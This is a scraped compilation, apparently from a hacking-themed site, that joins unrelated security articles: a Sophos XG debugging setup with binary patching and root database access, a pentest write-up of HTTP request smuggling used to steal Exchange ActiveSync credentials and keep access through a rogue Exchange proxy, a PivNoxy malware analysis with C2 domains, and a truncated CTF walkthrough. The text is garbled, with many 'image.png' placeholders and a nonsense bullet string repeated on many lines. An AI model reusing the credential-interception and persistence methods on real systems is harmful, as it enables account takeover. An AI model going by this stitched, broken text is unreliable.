https://download.sophos.com/network/SophosFirewall/installers/VI-18.5.3_MR-3.VMW-408.zip

18.5.2 Virtual Installers: Firewall OS for VMware：

https://download.sophos.com/network/SophosFirewall/installers/VI-18.5.2_MR-2.VMW-380.zip

2.導入VMware Workstation下載得到zip文件，解壓後運行sf_virtual.ovf

3.VMware Workstation網卡配置需要添加兩個網卡VMnet7和VMnet8，VMnet7設置為Host-only和172.16.16.0，VMnet8設置為NAT，具體方法如下：

(1)VMnet7

打開VMware Workstation，依次選擇Edit-Virtual Network Editor.

Add Network.-VMnet7

VMnet7設置為：

马云惹不起马云Type: Host-only

马云惹不起马云Subnet Address: 172.16.16.0

(2)VMnet8

VMnet8設置為：

马云惹不起马云Type: NAT

4.Sophos XG網卡配置Network Adapter設置為VMnet7

Network Adapter 2設置為VMnet8

Network Adapter 3設置為VMnet8

配置如下圖：

image.png

5.啟動Sophos XG默認登錄口令：admin

6.查看IP地址依次輸入1.Newwork Configuration-1.Interface Configuration

得到LAN的ip為172.16.16.16

7.進入Web配置頁面進行激活瀏覽器訪問https://172.16.16.16:4444

註冊頁面選擇：I don't have a serial number(start a trial)

按照提示進行註冊。

註冊成功後，重新訪問https://172.16.16.16:4444進行配置。

0x04 jetty調試環境搭建1.查看Java進程相關信息

執行命令：ps ww|grep java

輸出：

image.png

從輸出中得到Java版本為java-11-openjdk

2.定位配置文件配置文件路徑為/usr/bin/jetty，內容如下：

image.png

3.添加調試參數修改文件屬性：mount -o rw,remount /

在exec所在行添加調試參數：'-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000'

4.重啟服務執行命令：service tomcat:restart -ds nosync

查看服務狀態：service -S | grep tomcat

發現tomcat狀態為STOPPED

為了獲得詳細的報錯信息，直接運行/usr/bin/jetty

輸出：

image.png

發現是JDK的問題，這裡選擇替換一個完整的JDK。

5.替換JDK下載jdk-11.0.15_linux-x64_bin.tar.gz並上傳至Sophos XG

備份原文件夾：cp -r /lib/jvm/java-11-openjdk /lib/jvm/java-11-openjdk_backup

將jdk-11.0.15_linux-x64_bin.tar.gz解壓：tar zxvf /tmp/jdk-11.0.15_linux-x64_bin.tar.gz

替換/lib/jvm/java-11-openjdk:

image.png

6.再次重啟服務執行命令：service tomcat:restart -ds nosync

查看服務狀態：service -S | grep tomcat

發現tomcat狀態為RUNNING

確認參數被修改，執行命令：ps ww|grep java

輸出：

image.png

7.修改防火牆規則執行命令：iptables -I INPUT -p tcp --dport 8000 -j ACCEPT

8.使用IDEA遠程調試如下圖

image.png

在調試過程中，如果遇到無法下斷點的情況，重啟java服務即可：service tomcat:restart -ds nosync

0x05 csc配置文件解密查看csc進程相關信息。

執行命令：ps ww|grep csc

部分輸出：

image.png

csc進程讀取/_conf/cscconf.bin作為配置文件，而/_conf/cscconf.bin是一個加密的文件，所以這裡需要對/_conf/cscconf.bin進行解密。

這裡我採用的方法是通過IDA修改程序代碼，改變實現邏輯，導出解密後的配置文件。

使用IDA加載csc，查看main()函數的實現邏輯，部分代碼：

image.png

分析以上代碼，csc先調用extract_conf()函數導出配置，最後執行系統命令rm -rf /_conf/csc/csc /_conf/csc/csc.conf /_conf/csc/cscconf//_conf/csc/constants.conf /_conf/csc/cscconf.tar.gz /_conf/csc/global.conf /_conf/csc/cfsconf /_conf/csc/service /_conf/csc/bind_file_list刪除配置文件，導致我們無法直接獲得相關配置文件。

查看extract_conf()函數的實現代碼：

image.png

分析以上代碼，csc先調用sub_8052494()函數對/_conf/csc/cscconf.tar.gz進行解密，接著執行系統命令tar -zxf /_conf/csc/cscconf.tar.gz -C /_conf/csc將配置文件釋放到文件夾/_conf/csc

綜合以上分析，我們可以採取以下方式導出配置文件：修改csc程序，將釋放路徑/_conf/csc修改為另一路徑，例如/var/aaaaa，那麼，csc在刪除配置文件時，由於指定了固定的絕對路徑，導致無法刪除新的文件夾，這樣我們就能從中獲得完整的配置文件。

具體的實現方法如下：(1)修改csc使用IDA加載csc，查看Exports，找到extract_conf，雙擊進入IDA View，定位到字符串tar -zxf /_conf/csc/cscconf.tar.gz -C /_conf/csc，如下圖：

image.png

切換到Hex View，如下圖：

image.png

將/_conf/csc修改為/var/aaaaa，如下圖：

image.png

右鍵選擇Apply changes

依次選擇Edit-Patch program-Apply patches to input file.-OK，生成新的文件csc

(2)替換csc通過ssh登錄，上傳新的文件csc，保存至/tmp/csc

備份csc並進行替換，執行以下命令：

image.png

(3)確認配置文件是否導出成功等待系統重啟，進入底層shell，依次輸入5.Device Management-3.Advanced Shell

查看文件夾/var/aaaaa，如下圖：

image.png

配置文件導出成功。

(4)恢復csc image.png

(5)下載配置文件通過ssh登錄，下載文件夾/var/aaaaa中的內容。

0x06 Postgresql數據庫查詢查看端口信息，執行命令：netstat -tulpen |grep postgres

輸出：

image.png

通過搜索，發現以上三個數據庫的連接信息依次對應以下三個文件：

马云惹不起马云 /usr/share/webconsole/properties/ConnectionPool.cfg

马云惹不起马云/usr/share/webconsole/properties/ConnectionPoolForReports.cfg

马云惹不起马云/usr/share/webconsole/properties/ConnectionPoolForSignature.cfg

文件中的配置信息如下：

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5432/corporate?user=pgrouserautoReconnect=true

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5433/iviewdb?user=pgrouserautoReconnect=true

马云惹不起马云JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5434/signature?user=pgrouserautoReconnect=true

測試命令1：

image.png

輸出：

image.png

提示沒有權限。

測試命令2：

image.png

能夠獲得用戶信息。

注：將用戶pgrouser換成nobody具體相同的權限。

從以上信息得知，用戶pgrouser和nobody都不是root用戶，功能受限，下面嘗試尋找root用戶。

對解密的csc配置文件進行檢測，定位到\service\postgres.csc，關鍵文件內容：

image.png

找到關鍵用戶pgroot

測試命令3：

image.png

執行成功。

0x07 小結本文介紹了在搭建Sophos XG調試環境過程中一些問題的解決方法。

HireHackking

blog-header-845x321.png

利用面向公眾的服務是在網絡中獲得初步立足點的方法之一，這種情況在野外會經常看到。眾所周知，各種攻擊者都會濫用諸如緩衝區溢出(G0098)、SQL注入(G0087)或其他已知帶有功能利用代碼(G0016)的漏洞。

本文描述了一個HTTP請求走私(HRS)漏洞，這是我們在一次滲透測試中發現的。它可以用來模擬利用面向公眾的服務，同時在客戶的網絡中獲得初步立足點。在這個示例中，它允許我們獲取Active Directory憑據，從而用該憑據登錄到Outlook Web Access (OWA)查看敏感數據。

本文還會介紹如何通過將客戶端遷移到一個中間人Exchange服務器來獲得對OWA的持久訪問權。

HTTP請求走私HTTP請求走私(HRS)漏洞現在非常普遍。早在2005年，CGISecurity就發布了一份白皮書，詳細描述了漏洞是如何產生的，它會造成什麼後果，以及如何緩解它。如果你不確定HRS是如何工作的，我強烈建議你閱讀這篇白皮書或PortSwigger關於HRS的文章來熟悉一下。當網絡服務器和代理可以不同步時，就會出現HRS。攻擊者發送的請求在前端服務器和後端服務器上的解釋不同。例如，攻擊者發送一個特殊的請求，前端服務器將其解釋為1個請求，但後端服務器將其解釋為2個請求。第二個請求因此被“走私”通過前端服務器並最終到達後端服務器。正如PortSwigger 的James Kettle 所描述的，該請求的響應將被提供給下一位訪問者。

濫用HRS會極大地影響系統的保密性、完整性和可用性。正如一份負責任的披露中所公佈的，Evan Custodio 能夠通過濫用HRS 竊取cookie 來接管Slack 帳戶。其他示例包括New Relic上的憑據盜竊和美國國防部基礎設施上的用戶重定向。

在我們的例子中，HRS允許我們獲取Active Directory憑據，這將在下面的攻擊敘述中描述。這種攻擊敘述包含了從起初到最後的整個路徑。

識別代理基礎設施在一次滲透測試中，我們的目標是通過滲透客戶的數字基礎設施獲得初步立足點。由於自動掃描無法產生結果，我們很快進行了手動測試。包括Outlook Web Access (OWA) 在內的各種服務在使用GoBuster 工具對子域進行暴力破解時被識別。使用中的詞表由@bitquark 生成，包含100000 個最常用的子域。

1.png

在檢查這些服務時，我們發現我們正在與代理進行通信。有幾種方法可以檢測服務是否在代理之後運行。 Web 應用程序的一種常用技術是向應用程序發送以下請求，該請求的第一行包含另一個URI。

要求：

2.png

一般的web服務器會生成一個“421 Misdirected Request”響應。下麵包括一個示例。

響應：

3.png

然而，當我們在owa.customer.com上運行此操作時，服務器返回了以下響應，即302 Moved Temporarily。那時，我個人認為這種重定向是HTTP代理的典型行為。但是，後來我意識到它應該是帶有實際響應正文的200 OK 或203 Non-Authoritative Information，如RFC7230中所述。

響應：

4.png

但是，確實表明正在使用代理的是Server 標頭，其中server1 作為值。這是Microsoft IIS 服務器的非默認值。默認情況下，該值為Microsoft-IIS/8.5（或其他版本）。這表明，最有可能的是，代理更改了響應。

現在我們有了owa.customer.com被代理的跡象，我們可以繼續檢查它是否容易受到HRS的攻擊。

識別易受攻擊的代理設置考慮到James Kettle 的研究，我們著手調查這種設置是否可能容易受到HRS 的影響。為了確定owa.customer.com 是否容易受到HRS 的攻擊，我們發送了以下請求。

5.png

此請求的Content-Length 為124，即整個正文。它將被發佈到代理，代理將使用它來確定正文的長度為124 字節。然後將該請求轉發到實際的OWA 服務。

如果此設置易受HRS 攻擊，OWA 會以不同方式處理請求（使用分塊編碼而不是使用內容長度）。分塊編碼允許客戶端在正文中發送數據塊。在這種情況下，有一大塊數據。這是從十六進制數44開始的，如果轉換成十進制，就是68。這是塊的長度，可以在下一行中看到。在這68個字符之後，請求以一個大小為0的塊終止。這是OWA 接受的正常請求。

但是，終止後的部分未處理。 OWA 服務會將其視為代理（可能來自另一個用戶）發送的下一個請求的一部分。

這也適用於其他方式（如果代理使用分塊編碼而OWA 使用內容長度）。基礎設施易受HRS 攻擊的方式有多種。所有這些方式都在PortSwigger 的博客中進行了描述。實際上，我們使用的真正技巧是在傳輸編碼標頭之前插入了一個空格，Transfer-Encoding: chunked。雖然代理無法解析它並使用Content-Length 來確定正文長度。但是，OWA 能夠解析它並使用Transfer-Encoding 標頭來確定正文長度。

當我們執行上面的請求時，我們得到了來自服務器的以下響應。

6.png

可以看出，響應狀態為200 OK，表示我們的請求有效，服務器返回了有效響應。起初，我認為這意味著它沒有解釋我們正文的第二部分，因為它會產生一個400 Bad Request 響應狀態。我認為代理/OWA 設置很可能很容易受到攻擊。然而，經過進一步的研究，事實證明OWA 接受任何任意POST 數據。

更確定的驗證方法是在請求正文的第二部分檢查其他用戶是否收到了對我們請求的響應。由於我們正文第二部分中的請求通常返回301 Moved Permanently，因此現在應該將另一個用戶重定向到hacker.com 域，因為該用戶將重定向作為對他們請求的響應。為了驗證這一點，我們檢查了hacker.com的訪問日誌。它的重要部分已包含在下面。

7.png

事實上，事實證明它很脆弱！其中一位用戶被重定向到我們的hacker.com 域，這表明HRS 請求已成功執行。

查看訪問日誌，我認為發生了一些有趣的事情。在我看來，受害者實際上應該向hacker.com 的根或/owa 端點發出GET 請求，而不是向Microsoft-Server-ActiveSync 端點發出OPTIONS 請求，因為它被重定向了。但是，在查看RFC7231之後，很明顯接收到301 Moved Permanently 的客戶端可以為後續請求維護其請求方法和正文，就像308 Permanent Redirect 一樣，其中客戶端需要維護請求方法和主體。

總而言之，這意味著有可能從用戶那裡獲取更多信息，我們將在接下來的章節中介紹這些信息。

從hacker.com 的訪問日誌中可以看出，受害者試圖使用Microsoft-Server-ActiveSync 執行同步操作。 ActiveSync是一種HTTP 協議，它使用戶能夠從Exchange 服務器下載郵件，而不是使用僅使用戶能夠在Web 客戶端中查看郵件的OWA。

8.png

可以在各種郵件客戶端中配置ActiveSync，例如Apple Mail。正如Apple 連接到ActiveSync 端點的手冊中所見，用戶必須提供服務器、域、用戶名和密碼。這些詳細信息很可能會通過HTTP 請求發送到服務器。在配置期間或在每個請求中。

將憑據發送到服務器的時間實際上取決於在Exchange中配置的身份驗證類型。常見的身份驗證類型是“現代身份驗證”，它使用SAML協議，因此在使用用戶名和密碼進行初始身份驗證之後生成身份驗證令牌。身份驗證類型“基本身份驗證”是通過在每個HTTP請求中發送用戶名和密碼(base64編碼)進行身份驗證的一種方法。

如果Exchange 服務器配置為使用帶有基本身份驗證的ActiveSync，則用戶將在每個HTTP 請求中發送用戶名和密碼。由於我們能夠執行HRS，也許能夠截獲這些憑據！

盜取並使用憑據目前我們知道，一個成功的HRS攻擊可以將受害者重定向到一個惡意服務器，郵件客戶端維護請求方法，並且很可能還維護標頭和正文，並且我們還知道受害者在每個ActiveSync請求中發送base64編碼的憑據。這意味著我們馬上就要獲得這些證書了。

可以通過多種方式捕獲非法服務器上的請求標頭。為了進行概念驗證，我選擇使用Burp Collaborator，它充當HTTP和各種其他協議的所有捕獲服務器。

我更改了最初的HRS 請求，將受害者重定向到我的Burp Collaborator URI 而不是hacker.com。最後的請求包括在下面。

9.png

幾分鐘後，正如預期的那樣，Burp Collaborator捕獲了來自受害者的ActiveSync請求。

10.png

我們已經成功捕獲了包含受害者編碼憑據的授權標頭。

11.png

HRS攻擊如下圖所示。

12.png

將受害者的郵箱永久遷移到我們的非法交易服務器上

未記錄的功能作為滲透測試人員，我們想更深入地研究這一發現可能產生的影響。出於這個原因，我們從攻擊者的角度尋找進一步的選擇，其中最值得注意的是獲得對受害者憑據的永久訪問權限。事實證明，ActiveSync有一個功能，可以在用戶的郵箱從辦公場所遷移到Office365時自動更新郵件客戶端的配置。此功能的工作原理如下：

马云惹不起马云 客戶端嘗試通過HTTP ActiveSync 協議檢索郵件；

马云惹不起马云Exchange 會檢查用戶的郵箱是否存在或者是否遷移到Office365；

马云惹不起马云DC 返回未找到郵箱（這意味著已遷移）；

马云惹不起马云Exchange 嘗試獲取域的TargetOWAURL（郵箱所在的位置）；

马云惹不起马云DC 返回TargetOWAURL（在本例中為outlook.office365.com）；

马云惹不起马云Exchange 使用一個HTTP 451重定向到TargetOWAURL來響應客戶端；

马云惹不起马云客戶端將TargetOWAURL 用於所有未來的請求；

马云惹不起马云對TargetOWAURL 的HTTP ActiveSync 請求成功。

13.png

總而言之，如果Exchange服務器以451 Unavailable For Legal Reasons和X-MS-Location標頭相結合的方式響應，則受害者Exchange服務器配置會相應更新。下文包括此類響應的示例。

14.png

但是，使用我們的HRS 攻擊無法為受害者生成451 Unavailable For Legal Causes。只能生成301 Moved Permanently，因為這是將URI 添加到GET 請求的第一行時的響應。但是，我們可以使用301 Moved Permanently 將受害者重定向到非法服務器，該服務器隨後以451 Unavailable For Legal Reasons 響應非法交換服務器。如果我們確保非法交換服務器只是合法環境的代理，我們可以永久地在所有受害者的ActiveSync 請求中間人，而受害者不會注意到任何事情。攻擊過程如下。

15.png

將受害者的郵箱遷移到我們的非法交易所為了證明上述理論有效，我們將“受害者”（tgad.local\bob）連接到我們的演示環境；代理tgvmex01.proxy 後面的Exchange 服務器。 Bob 使用ActiveSync 連接。他的iOS Exchange 配置如下所示。

16.png

想要將Bob的郵箱遷移到非法交換服務器的攻擊者需要首先執行HRS攻擊，將Bob的ActiveSync請求重定向到非法服務器。下面提供了一個示例。

17.png

無論請求是什麼，服務器rogue-server.com 始終提供相同的響應。此響應包含在下面，並且響應標頭中的非法交換服務器具有451 Unavailable For Legal Reasons 狀態。

18.png

當Bob 成為HRS 攻擊的受害者時，他將收到非法服務器的451 Unavailable For Legal Reasons 響應。 Bob 的電子郵件客戶端會將服務器地址更改為rogue-exchange.remote，因為響應表明郵箱遷移到了這個Exchange 服務器。

最初的幾次嘗試都沒有成功。但是在連續嘗試了幾次之後，HRS攻擊最終觸發了Bob的同步請求，導致Bob的郵件客戶端將配置更改為非法交換。這可以在下面的Bob的Exchange設置中看到。

19.png

由於惡意交換器將所有請求代理給合法交換器，Bob不會注意到惡意配置更改(除非他查看自己的exchange設置)。作為一個攻擊者，我們現在能夠攔截他的所有ActiveSync請求，即使在Bob更改了他的憑據之後。

緩解措施存在多種針對HRS 漏洞的緩解措施。在理想情況下，代理服務器和後端服務器（在本例中為Exchange）都完全按照RFC7231中的說明解釋HTTP 請求。這將防止HRS 漏洞，因為兩個服務器都以相同的方式解釋HTTP 請求的邊界。

然而，我們並不是生活在一個理想的世界裡。更好的緩解措施是禁用代理和後端之間的http-reuse（一種性能優化），以便每個請求都通過單獨的網絡連接發送。此外，可以通過強制從代理到後端的HTTP/2 連接來緩解HRS，因為此版本的HTTP 協議中不會出現HRS 漏洞。

最後，我們強烈建議不要將基本身份驗證用作Exchange 的身份驗證方法。請改用現代身份驗證。使用現代身份驗證，攻擊者只能攔截oAuth令牌。

如果你認為自己是Exchange遭受HRS攻擊的受害者，請主動重置Exchange客戶端的配置和密碼。

HireHackking

最近，南亞的一家電信機構收到一封帶有可疑RTF 附件的簡短電子郵件，這引起了FortiGuard Labs 的注意。這封電子郵件偽裝成來自巴基斯坦政府部門的信息，目的是傳播PivNoxy 惡意軟件。

马云惹不起马云 受影響的平台：Windows

马云惹不起马云受影響方：Windows 用戶

马云惹不起马云影響：控制受害者的設備並收集敏感信息

马云惹不起马云嚴重性級別：中等

攻擊概述攻擊始於一封簡單的電子郵件，其中只附上了一份文件作為附件：

fig1.webp.jpg

攻擊中使用的魚叉式釣魚電子郵件

附件文件為RTF格式。它是使用一種名為Royal Road 的工俱生成的，這是一種網絡釣魚“武器”，被多個亞洲APT 攻擊組織使用。 Royal Road 也稱為8.t RTF 漏洞利用構建器，允許APT 組織創建帶有嵌入式對象的RTF 文件，這些對象可以利用Microsoft Word 中的漏洞來感染目標。 Royal Road 支持的一些已知漏洞包括：

马云惹不起马云CVE-2017-11882（Microsoft Office 內存損壞漏洞）；

马云惹不起马云CVE-2018-0802（Microsoft Office 內存損壞漏洞）；

马云惹不起马云CVE-2018-0798（Microsoft Office 內存損壞漏洞）；

打開電子郵件附件“Please help to CHECK.doc”，會打開一個誘餌Word 文件。同時，它在後台利用CVE-2018-0798。 CVE-2018-0798 是Microsoft 公式編輯器(EQNEDT32) 中的一個遠程代碼執行(RCE) 漏洞。 Microsoft 於2018 年1 月9 日為其發布了修復程序。攻擊者仍在針對此漏洞的事實表明，並非所有組織都部署了關鍵補丁或升級到最新軟件。事實是，舊的漏洞仍然普遍且成功地被利用。

fig2.webp.jpg

攻擊中使用的誘餌Word 文件。請注意，文件中顯示的亂碼可能是我們的測試設備不支持該語言的結果

執行後，這個惡意文件會釋放三個文件：

C:\\ProgramData\Cannon\Cannondriver.exe；

C:\\ProgramData\Cannon\LBTServ.dll；

C:\\ProgramData\Cannon\Microsoft.BT；

儘管文件名是假的，但Cannondriver.exe是一個合法的羅技文件LBTWizGi.exe，全稱是“羅技藍牙嚮導主機進程”。 Cannondriver.exe 甚至由頒發給羅技的證書進行數字簽名的。

fig3.webp.jpg

Cannondriver.exe 的合法版本

另一方面，LBTServ.dll 文件沒有經過數字簽名。這就是有趣的地方。 “Cannondriver.exe”容易受到LBTServ.dll 所利用的DLL 搜索順序劫持攻擊。請注意，此攻擊中使用的“LBTServ.dll”樣本的編譯時間為Sun July 18 02:04:24 2021 GMT。這意味著這個小組在他們需要使用這個變體之前就創造了它。這表明，他們要么在近一年前就準備好攻擊目標，要么已經開始囤積惡意軟件，隨時準備發動攻擊。最近的Chinoxy 樣本一直沒有被發現，就是這個道理。

fig4.webp.jpg

Cannondriver.exe 中的DLL 搜索順序劫持

上圖是在Cannondriver.exe中找到的部分代碼。基本上，它調用名為LGBT_Launch的導出，該導出位於LBTServ.dll 中。

fig5.webp.jpg

LBTServ.dll 內部

在Cannondriver.exe 加載偽造的LBTServ.dll 並調用LGBT_Launch 函數後，惡意函數就加載了另一個被釋放的文件Microsoft.BT ，並繼續對其進行解密。攻擊鏈類似於Chinoxy 後門使用的攻擊鏈，後者也使用Cannondriver.exe 加載惡意LBTServ.dll 以傳遞其有效負載。

然而，目前發送給南亞電信機構的這種變體提供的最終有效負載與其之前的版本略有不同。它不是包含最終有效負載的LBTServ.dll，而是從單獨的文件加載shellcode 並將自身注入到svchost.exe 中。然後它聯繫instructor[.]giize[.]com，這是一個動態DNS，將連接重定向到攻擊者託管有效負載的IP。不幸的是，在調查時沒有遠程文件可用。幸運的是，nao_sec 的一條推文將PoisonIvy 惡意軟件識別為有效負載。

fig6.webp.jpg

nao_sec 於2022 年5 月12 日發布的推文

PoisonIvy 是一種遠程訪問木馬(RAT)，早在十多年前就被發現。 RAT 也稱為Pivy，活躍在地下論壇中，允許攻擊者控制受感染的設備並通過其GUI 執行偵察活動。

FortiGuard Labs 之前發布了兩篇博客，詳細介紹了PoisonIvy 的工作原理：

Poison Ivy 新變種的深度分析；

新Poison Ivy/PlugX 變體的深度分析；

這些博客中介紹的PoisonIvy RAT 變體執行橫向移動。因此，PoisonIvy 的一次感染可能會導致信息從受影響組織中的各種設備中提取。

誰是幕後黑手眾所周知PoisonIvy 已被用於針對性攻擊，但要識別針對南亞電信組織的行動背後的攻擊者並非易事。這是由於報告的使用RAT 的攻擊組織的數量及其廣泛的可用性造成的。

我們對攻擊者的好奇導致了另一個lbtserver.dll (SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3)，該文件於2022年1月從法國提交給VirusTotal。該文件被SHA2文件cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe釋放。

研究人員的分析表明，該文件的行為與發送給目標機構的電子郵件中的文件類似。它創建一個文件夾(c:\windows\tasks) ，並將配置和PE 文件放入其中。釋放的可執行文件unio.exe 與偽裝成Cannondriver.exe 的合法簽名Logitech 文件相同。 在我們正在調查的攻擊中，union .exe加載了另一個被釋放的文件lbtserver .dll。在本文所述的樣本中，LBTServ.dll 包含完整的後門有效負載，而不是加載一個shellcode來下載它。這個LBTServ.dll 文件還利用了DLL搜索順序劫持，有8 個虛假導出，還有一個名為LGBT_Launch 的惡意導出。這使研究人員相信，這兩種攻擊最有可能來自攻擊組織，但根據向VirusTotal提交文件的日期，這兩種攻擊可能發生在2022年1月。

更有趣的是，719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3的編譯時間是“2016-07-09 12:49:34 UTC”，而其滴管(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe)的編譯時間大約是29秒後，時間是2016-07-09 13:18:11 UTC。這些數據表明，該攻擊組織至少自2016年年中以來一直很活躍。

PivNoxy 和Chinoxy的漸變史現在，讓我們將看看這個攻擊組織使用的技術的漸變史。具體來說，我們將重點介紹他們使用的一個文件，即羅技藍牙嚮導主機進程。這個合法簽名的文件包含一個DLL 搜索順序劫持漏洞。 APT 組織通過創建自己的惡意“LBTServ.dll”文件來利用此漏洞，以便在執行真正的羅技進程時加載。隨著時間的推移，這個惡意DLL已經演變成使用不同的技術。攻擊鏈通常以包含附件的電子郵件開始。附件本身包含一個可執行文件，執行時會釋放惡意DLL、合法的羅技可執行文件以及惡意軟件使用的任何相關文件。

下面是攻擊組織使用上述技術來傳遞Chinoxy、PivNoxy 和最近的Chinoxy 變體的dropper 惡意軟件的時間線。

fig7.webp.jpg

基於文件編譯時間的dropper 惡意軟件示例

從時間軸上可以看到，在2021年第三季度，攻擊者將他們的武器庫從PivNoxy 切換到了Chinoxy 的新變體，該變體從文件中解密和加載shellcode ，並下載下一個有效負載。 Chinoxy到PivNoxy的轉換發生在2020年第二季度的某個時候。

FortiGuard Labs 發現，從2016 年年中到2018 年底，“lbtserver .dll”一直被稱為Chinoxy的變體。在這種情境中，惡意DLL 會加載一個名為“k1.ini”的外部配置文件。

fig8.webp.jpg

Chinoxy使用的配置文件

這個配置文件通常包含一個base64 字符串，它原來是Chinoxy 使用的C2 服務器。

9.png

從Chinoxy配置文件解碼的Base64值

“備註”字段包含攻擊的大致日期。根據其源數據，這個Chinoxy DLL 樣本(SHA2: 719f25e1fea12c8dc573e7161458ce7a5b6683dee3a49bb21a3ec838d0b35dd3) 編譯於格林威治標準時間2016 年7 月9 日星期六12:49:34。主要的dropper (SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748beea5e03e76902e7fe) 本身是在2016-07-09 13:18:11 GMT 編譯的。存活時間似乎只有幾天。 Chinoxy作為一個後門從被感染的電腦中收集數據。有趣的是，同一個C2 服務器已經使用了兩年多。分析表明，該服務器的絕大多數流量來自印度。

直到該組織決定返回前的2020 年底和2021 年初，情況一直相對平靜。該組織回歸後，首先開始瞄準東南亞的遊戲玩家。 NoxPlayer 是一個Android 模擬器，與許多程序一樣，它會聯繫服務器以檢查更新。然而，APT 組織並沒有通過電子郵件附件傳遞他們的惡意軟件，而是改變了攻擊策略，並以某種方式破壞了NoxPlayer 的更新鏈。向東南亞遊戲玩家發送了一個虛假的更新包。

與Chinoxy 示例類似，此PivNoxy 變體（SHA2：5c2a6b11d876c5bad520ff9e79be44dfbb05ee6a6ff300e8427deab35085bef6）使用一個偽造的更新包來解壓多個文件，包括濫用針對羅技的相同DLL 搜索順序劫持技術的文件。然而，在本示例中，“LBTServ.dll”被用來傳遞比之前的迭代更強大的惡意軟件，PivNoxy 通過惡意DLL 傳遞PoisonIvy RAT。雖然其他供應商報告受感染的計算機是來自東南亞的遊戲玩家，但研究人員的分析表明，更多受感染的遊戲玩家來自墨西哥。

此時，該攻擊組織再次決定隱身。一直到2022 年5 月，該組織偽裝成來自巴基斯坦政府部門，向南亞的一個電信組織的發送魚叉式網絡釣魚電子郵件。而這一次，它試圖傳播一個新的Chinoxy 惡意軟件變種。

上面提到的dropper 惡意軟件(SHA2: cdf417e67b0aaf798ac7c0f9ccb8b5b21f09b408ee6748bea5e03e76902e7fe) 已向goog1eupdate[.]com 發起了攻擊。根據FortiGuard過去六個月收集的追踪數據，近70%的攻擊來自墨西哥，近22%來自印度。 Chinoxy變體在2016年至2018年期間也使用了該域名。

研究人員還發現了三個類似的樣本連接到frontbeauty[.]dynamic-dns[.]net、beautygirl[.]dynamic-dns[.]net 和784kjsuj[.]dynamic-dns[.]net。在過去的六個月裡，對這三個域的所有訪問都來自印度。由於它們是動態DNS，因此並非所有連接都可以視為與攻擊組織有關。然而，2020 年11 月發布的Bitdefender 報告將域“goog1eupdate[.]com”描述為APT 組織的IOC 的一部分，該組織使用FunnyDream 後門作為其工具集的一部分，主要針對東南亞。訪問另一個C2 地址“mfaupdate[.]com”主要來自墨西哥和印度，而“ru[.]mst[.]dns-cloud[.]net”主要來自以色列和烏克蘭。根據安全研究員Sebastien Larinier 的說法，ru[.]mst[.]dns-cloud[.]net 被吉爾吉斯斯坦的攻擊組織使用。此外，NTT Security 發布的一篇研究報告介紹了另一台C2 服務器“eofficeupdating[.]com”，攻擊者將其用作Smanager 惡意軟件的C2 服務器，該惡意軟件用於主要攻擊越南。

總結針對南亞一家電信機構的攻擊始於一封簡單的電子郵件，該電子郵件最初似乎是標準的惡意垃圾郵件。但是，附加的Word 文件是含有Royal Road 惡意負載，可對公式編輯器漏洞(CVE-2018-0798) 利用。雖然在調查時沒有有效負載，但OSINT 研究向了FortiGuard Labs 之前強調的Poison Ivy RAT。

根據我們的分析，亞洲組織以及可能在墨西哥的一些組織是攻擊組織的目標，我們認為該攻擊組織也參與了2021 年的NightScout 行動。這個使用Chinoxy和PivNoxy的組織至少從2016年年中開始活躍。

HireHackking

1。データセキュリティ問題解決競争

1。 DS_0602

在这里插入图片描述

解決策の解決策は、暗号化されたファイルで元のデータを取得し、復号化し、6行目と2番目の列にデータを送信し、添付ファイルをダウンロードして、2つのファイルがあることを確認します。ここでは、「.enc」で終わるファイルの種類を簡単に理解する必要があります。在这里插入图片描述

簡単に言えば、「.enc」で終わるファイルは、通常、暗号化されたファイルです。具体的には、ファイル拡張子".enc"は特定のファイルタイプではなく、ファイルコンテンツが暗号化されていることを示す一般識別子を表します。質問が私たちを要求することは明らかです。次に、ここで右クリックしてメソッドを開き、「メモ帳」を選択して分析を開きます。それを得る;在这里插入图片描述

簡単な分析の後、それが「base64暗号化」であることは明らかであるため、ここにデコードを可能にする質問があります。そのため、オンラインの「base64」デコードを見つける必要があります。繰り返しになりますが、なぜそれがここで「base64エンコード」であることを確認できるのですか？ベース機能。エンコード長：3バイナリデータ（24ビット）ごとに、4つのASCII文字（文字あたり6ビット）にエンコードされます。エンコードされた長さは通常、元のデータの長さの1.33倍、つまり元のデータ長の4/3です。文字セット：Base64エンコーディング次の64文字で構成される文字セット：大文字：A-Z小文字：A-Z番号：0-9 2つのシンボル： +および /いくつかの実装では、 - +は - 、/_と交換することができます（通常はURL-Safe base64エンコードに使用されます）。入力データのバイト数が3の倍数ではない場合、エンコードされた結果は=4の長さを記号にして記号で満たされます。1つの等記号は3つ以上の1で割ったものを示します。オンラインbase64デコード、get;在这里插入图片描述

タイトルに記載されている「6行目と2番目の列データ」は、ここで6行のデコードを直接コピーできます。在这里插入图片描述

この時点で;フラグ{767378199223105126}

2、333.file

在这里插入图片描述

添付ファイルをダウンロードして問題を解決し、「.wav」で終了するオーディオを取得するために減圧します。 「Deepsound」、「Silenteye」、および「Audacity」に投げ込まれます。それは実りがありません。この時点では、「010」を使用して開き、分析して、「フラグ」や「zip」キーワードなどの重要な情報があるかどうかを確認する必要があります。また、「kali」に投げ込み、「binwalk」を使用して分析して、分離できるファイルがあるかどうかを確認することもできます。 「Deepsound」は無益です。在这里插入图片描述

「Silenteye」には効果がありません。在这里插入图片描述

「Audacity」には結果がありません。在这里插入图片描述

それから、私がしばらくできることは何もありません。 「kali」にしか投げませんでした。「binwalk」を使用して分析するだけです。実際に壊れた「ジップ」があることがわかりましたが、「binwalk -e」を使用するだけでは抽出するのに十分ではありません。ここでは、「foremost -i」を使用しようとします（原則はbinwalk -eに似ていますが、抽出方法を変更しました。興味のあるマスターは、2つの違いについて学ぶことができます。ここではこれ以上強調しません）。コマンドを使用します。 binwalk -e 333.wav - run-as=rootは在这里插入图片描述を取得します

